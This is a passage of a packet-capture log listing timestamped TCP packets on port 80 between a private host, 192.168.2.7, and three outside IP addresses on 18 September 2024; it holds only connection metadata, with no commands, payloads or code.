Sep 18, 2024 14:30:08.828027010 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.828038931 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.828048944 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.828048944 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.828058004 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.828073978 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.828084946 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.828097105 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.828097105 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.828097105 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.828134060 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.828139067 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.828146935 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.828162909 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.828172922 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.828177929 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.828186989 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.828198910 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.828211069 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.828222036 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.828233957 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.828238964 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.828238964 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.828248978 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.828263044 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.828274965 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.828282118 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.828282118 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.828286886 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.828305960 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.828318119 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.828329086 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.828332901 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.828332901 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.828342915 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.828356028 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.828367949 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.828387022 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.828392029 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.828392029 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.828433037 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.828433037 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.828437090 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.828452110 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.828464985 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.828476906 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.828486919 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.828486919 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.828490973 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.828505039 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.828517914 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.828519106 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.828519106 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.828564882 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.828564882 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.833276987 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.833295107 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.833314896 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.833327055 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.833340883 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.833339930 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.833353996 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.833367109 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.833374023 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.833403111 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.833830118 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.833851099 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.833862066 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.833880901 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.833909988 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.833928108 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.833940029 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.833952904 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.833964109 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.833966017 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.833992958 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.834109068 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.834120989 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.834134102 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.834134102 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.834146023 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.834146976 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.834157944 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.834171057 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.834176064 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.834183931 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.834203005 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.834219933 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.834264040 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.834284067 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.834295988 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.834300041 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.834307909 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.834316015 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.834321022 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.834331989 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.834333897 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.834346056 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.834348917 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.834358931 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.834367037 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.834371090 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.834394932 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.834410906 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.835186958 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.835199118 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.835211992 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.835237980 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.835263014 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.835315943 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.835329056 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.835341930 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.835351944 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.835354090 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.835381985 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.835407019 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.836039066 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.836061954 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.836075068 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.836091042 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.836121082 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.836188078 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.836200953 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.836213112 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.836230040 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.836230993 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.836244106 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.836251020 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.836256981 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.836275101 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.836277008 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.836287975 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.836301088 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.836302996 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.836313009 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.836323977 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.836327076 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.836350918 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.836369991 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.836414099 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.836425066 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.836437941 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.836446047 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.836471081 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.836483002 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.836488962 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.836494923 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.836503983 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.836528063 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.836572886 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.836585999 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.836597919 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.836608887 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.836611032 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.836625099 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.836635113 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.836636066 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.836648941 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.836662054 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.836663961 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.836677074 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.836678028 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.836688995 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.836695910 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.836702108 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.836716890 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.836724043 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.836729050 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.836755037 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.836757898 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.836766958 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.836767912 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.836781979 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.836791992 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.836793900 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.836806059 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.836807013 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.836818933 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.836824894 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.836829901 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.836858034 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.836872101 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.836894035 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.836905956 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.836919069 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.836929083 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.836930037 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.836945057 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.836962938 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.836985111 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.837017059 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.837038040 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.837049961 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.837064028 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.837071896 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.837090015 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.837101936 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.837178946 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.837192059 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.837204933 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.837217093 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.837230921 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.837420940 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.882277966 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.882307053 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.882319927 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.882332087 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.882345915 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.882352114 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.882358074 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.882370949 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.882402897 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.882431984 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.891067982 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.891083002 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.891097069 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.891129971 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.891136885 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.891141891 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.891155005 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.891166925 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.891166925 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.891181946 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.891189098 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.891206980 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.891231060 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.892031908 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.892086029 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.892126083 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.892138958 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.892151117 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.892163038 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.892168045 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.892174959 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.892185926 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.892187119 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.892199039 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.892210007 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.892227888 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.892251015 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.892574072 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.892620087 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.892621040 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.892632961 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.892657042 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.892673016 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.892673969 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.892685890 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.892698050 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.892709970 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.892721891 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.892748117 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.909328938 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.909346104 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.909358978 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.909369946 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.909382105 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.909392118 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.909405947 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.909410954 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.909427881 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.909441948 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.909454107 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.909457922 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.909472942 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.909486055 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.909499884 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.909501076 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.909501076 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.909513950 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.909527063 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.909539938 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.909548998 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.909548998 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.909560919 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.909575939 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.909586906 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.909590960 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.909590960 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.909603119 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.909615040 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.909626961 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.909636021 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.909636021 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.909637928 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.909652948 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.909665108 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.909688950 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.909696102 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.909696102 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.909703016 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.909718990 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.909730911 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.909744024 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.909744978 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.909744978 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.909758091 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.909773111 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.909786940 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.909786940 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.909816027 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.909831047 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.909843922 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.909854889 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.909854889 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.909867048 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.909878969 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.909890890 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.909903049 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.909909964 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.909909964 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.909915924 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.909929037 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.909950972 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.909950972 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.909991980 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.910006046 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.910017967 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.910029888 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.910041094 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.910042048 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.910057068 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.910068989 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.910068989 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.910068989 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.910084009 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.910095930 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.910108089 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.910109043 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.910109043 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.910147905 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.910147905 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.910275936 CEST	80	49705	103.130.147.211	192.168.2.7
